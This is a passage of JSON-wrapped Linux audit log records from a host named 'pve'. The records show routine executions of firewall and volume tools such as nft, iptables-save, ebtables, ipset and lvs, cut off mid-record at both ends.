name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816010,"@rawstring":"node=pve type=PATH msg=audit(1781964816.010:62749): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816010,"@rawstring":"node=pve type=PATH msg=audit(1781964816.010:62748): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816006,"@rawstring":"node=pve type=PATH msg=audit(1781964816.006:62747): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816006,"@rawstring":"node=pve type=PATH msg=audit(1781964816.006:62747): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964816006,"@rawstring":"node=pve type=PATH msg=audit(1781964816.006:62747): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815999,"@rawstring":"node=pve type=PATH msg=audit(1781964815.999:62746): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815999,"@rawstring":"node=pve type=PATH msg=audit(1781964815.999:62746): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815993,"@rawstring":"node=pve type=PATH msg=audit(1781964815.993:62745): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815993,"@rawstring":"node=pve type=PATH msg=audit(1781964815.993:62745): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815988,"@rawstring":"node=pve type=PATH msg=audit(1781964815.988:62744): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815988,"@rawstring":"node=pve type=PATH msg=audit(1781964815.988:62744): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815983,"@rawstring":"node=pve type=PATH msg=audit(1781964815.983:62743): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815983,"@rawstring":"node=pve type=PATH msg=audit(1781964815.983:62743): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815977,"@rawstring":"node=pve type=PATH msg=audit(1781964815.977:62742): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815977,"@rawstring":"node=pve type=PATH msg=audit(1781964815.977:62742): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815754,"@rawstring":"node=pve type=PATH msg=audit(1781964815.754:62741): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815754,"@rawstring":"node=pve type=PATH msg=audit(1781964815.754:62741): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815754,"@rawstring":"node=pve type=PATH msg=audit(1781964815.754:62740): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815754,"@rawstring":"node=pve type=PATH msg=audit(1781964815.754:62739): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815740,"@rawstring":"node=pve type=PATH msg=audit(1781964815.740:62738): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815740,"@rawstring":"node=pve type=PATH msg=audit(1781964815.740:62738): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815740,"@rawstring":"node=pve type=PATH msg=audit(1781964815.740:62737): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964815740,"@rawstring":"node=pve type=PATH msg=audit(1781964815.740:62736): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964814129,"@rawstring":"node=pve type=PATH msg=audit(1781964814.129:62735): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964814129,"@rawstring":"node=pve type=PATH msg=audit(1781964814.129:62735): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964814098,"@rawstring":"node=pve type=PATH msg=audit(1781964814.098:62734): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964814098,"@rawstring":"node=pve type=PATH msg=audit(1781964814.098:62734): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964810734,"@rawstring":"node=pve type=PATH msg=audit(1781964810.734:62733): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964810734,"@rawstring":"node=pve type=PATH msg=audit(1781964810.734:62733): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964810734,"@rawstring":"node=pve type=PATH msg=audit(1781964810.734:62732): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964810734,"@rawstring":"node=pve type=PATH msg=audit(1781964810.734:62731): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964810718,"@rawstring":"node=pve type=PATH msg=audit(1781964810.718:62730): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964810718,"@rawstring":"node=pve type=PATH msg=audit(1781964810.718:62730): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964810718,"@rawstring":"node=pve type=PATH msg=audit(1781964810.718:62729): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964810718,"@rawstring":"node=pve type=PATH msg=audit(1781964810.718:62728): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805965,"@rawstring":"node=pve type=PATH msg=audit(1781964805.965:62727): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805965,"@rawstring":"node=pve type=PATH msg=audit(1781964805.965:62727): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805962,"@rawstring":"node=pve type=PATH msg=audit(1781964805.962:62726): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805962,"@rawstring":"node=pve type=PATH msg=audit(1781964805.962:62726): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805961,"@rawstring":"node=pve type=PATH msg=audit(1781964805.961:62725): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805961,"@rawstring":"node=pve type=PATH msg=audit(1781964805.961:62725): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805961,"@rawstring":"node=pve type=PATH msg=audit(1781964805.961:62724): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805957,"@rawstring":"node=pve type=PATH msg=audit(1781964805.957:62723): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805957,"@rawstring":"node=pve type=PATH msg=audit(1781964805.957:62723): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805957,"@rawstring":"node=pve type=PATH msg=audit(1781964805.957:62723): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805951,"@rawstring":"node=pve type=PATH msg=audit(1781964805.951:62722): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805951,"@rawstring":"node=pve type=PATH msg=audit(1781964805.951:62722): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805945,"@rawstring":"node=pve type=PATH msg=audit(1781964805.945:62721): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805945,"@rawstring":"node=pve type=PATH msg=audit(1781964805.945:62721): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805938,"@rawstring":"node=pve type=PATH msg=audit(1781964805.938:62720): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805938,"@rawstring":"node=pve type=PATH msg=audit(1781964805.938:62720): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805932,"@rawstring":"node=pve type=PATH msg=audit(1781964805.932:62719): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805932,"@rawstring":"node=pve type=PATH msg=audit(1781964805.932:62719): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805927,"@rawstring":"node=pve type=PATH msg=audit(1781964805.927:62717): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805927,"@rawstring":"node=pve type=PATH msg=audit(1781964805.927:62717): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805923,"@rawstring":"node=pve type=PATH msg=audit(1781964805.923:62716): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805923,"@rawstring":"node=pve type=PATH msg=audit(1781964805.923:62716): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805918,"@rawstring":"node=pve type=PATH msg=audit(1781964805.918:62715): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805918,"@rawstring":"node=pve type=PATH msg=audit(1781964805.918:62715): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805913,"@rawstring":"node=pve type=PATH msg=audit(1781964805.913:62714): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805913,"@rawstring":"node=pve type=PATH msg=audit(1781964805.913:62714): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805908,"@rawstring":"node=pve type=PATH msg=audit(1781964805.908:62713): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805908,"@rawstring":"node=pve type=PATH msg=audit(1781964805.908:62713): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805902,"@rawstring":"node=pve type=PATH msg=audit(1781964805.902:62712): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805902,"@rawstring":"node=pve type=PATH msg=audit(1781964805.902:62712): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805897,"@rawstring":"node=pve type=PATH msg=audit(1781964805.897:62711): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805897,"@rawstring":"node=pve type=PATH msg=audit(1781964805.897:62711): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805890,"@rawstring":"node=pve type=PATH msg=audit(1781964805.890:62710): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805890,"@rawstring":"node=pve type=PATH msg=audit(1781964805.890:62710): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805887,"@rawstring":"node=pve type=PATH msg=audit(1781964805.887:62709): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805887,"@rawstring":"node=pve type=PATH msg=audit(1781964805.887:62709): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805884,"@rawstring":"node=pve type=PATH msg=audit(1781964805.884:62708): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805884,"@rawstring":"node=pve type=PATH msg=audit(1781964805.884:62708): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805883,"@rawstring":"node=pve type=PATH msg=audit(1781964805.883:62707): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805883,"@rawstring":"node=pve type=PATH msg=audit(1781964805.883:62707): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805883,"@rawstring":"node=pve type=PATH msg=audit(1781964805.883:62706): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805879,"@rawstring":"node=pve type=PATH msg=audit(1781964805.879:62705): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805879,"@rawstring":"node=pve type=PATH msg=audit(1781964805.879:62705): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805879,"@rawstring":"node=pve type=PATH msg=audit(1781964805.879:62705): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805873,"@rawstring":"node=pve type=PATH msg=audit(1781964805.873:62704): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805873,"@rawstring":"node=pve type=PATH msg=audit(1781964805.873:62704): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805867,"@rawstring":"node=pve type=PATH msg=audit(1781964805.867:62703): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805867,"@rawstring":"node=pve type=PATH msg=audit(1781964805.867:62703): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805862,"@rawstring":"node=pve type=PATH msg=audit(1781964805.862:62702): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805862,"@rawstring":"node=pve type=PATH msg=audit(1781964805.862:62702): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805856,"@rawstring":"node=pve type=PATH msg=audit(1781964805.856:62701): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805856,"@rawstring":"node=pve type=PATH msg=audit(1781964805.856:62701): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805850,"@rawstring":"node=pve type=PATH msg=audit(1781964805.850:62700): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805850,"@rawstring":"node=pve type=PATH msg=audit(1781964805.850:62700): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805712,"@rawstring":"node=pve type=PATH msg=audit(1781964805.712:62699): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805712,"@rawstring":"node=pve type=PATH msg=audit(1781964805.712:62699): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805712,"@rawstring":"node=pve type=PATH msg=audit(1781964805.712:62698): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805711,"@rawstring":"node=pve type=PATH msg=audit(1781964805.711:62697): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805705,"@rawstring":"node=pve type=PATH msg=audit(1781964805.705:62696): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964805705,"@rawstring":"node=pve type=PATH msg=audit(1781964805.705:62696): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 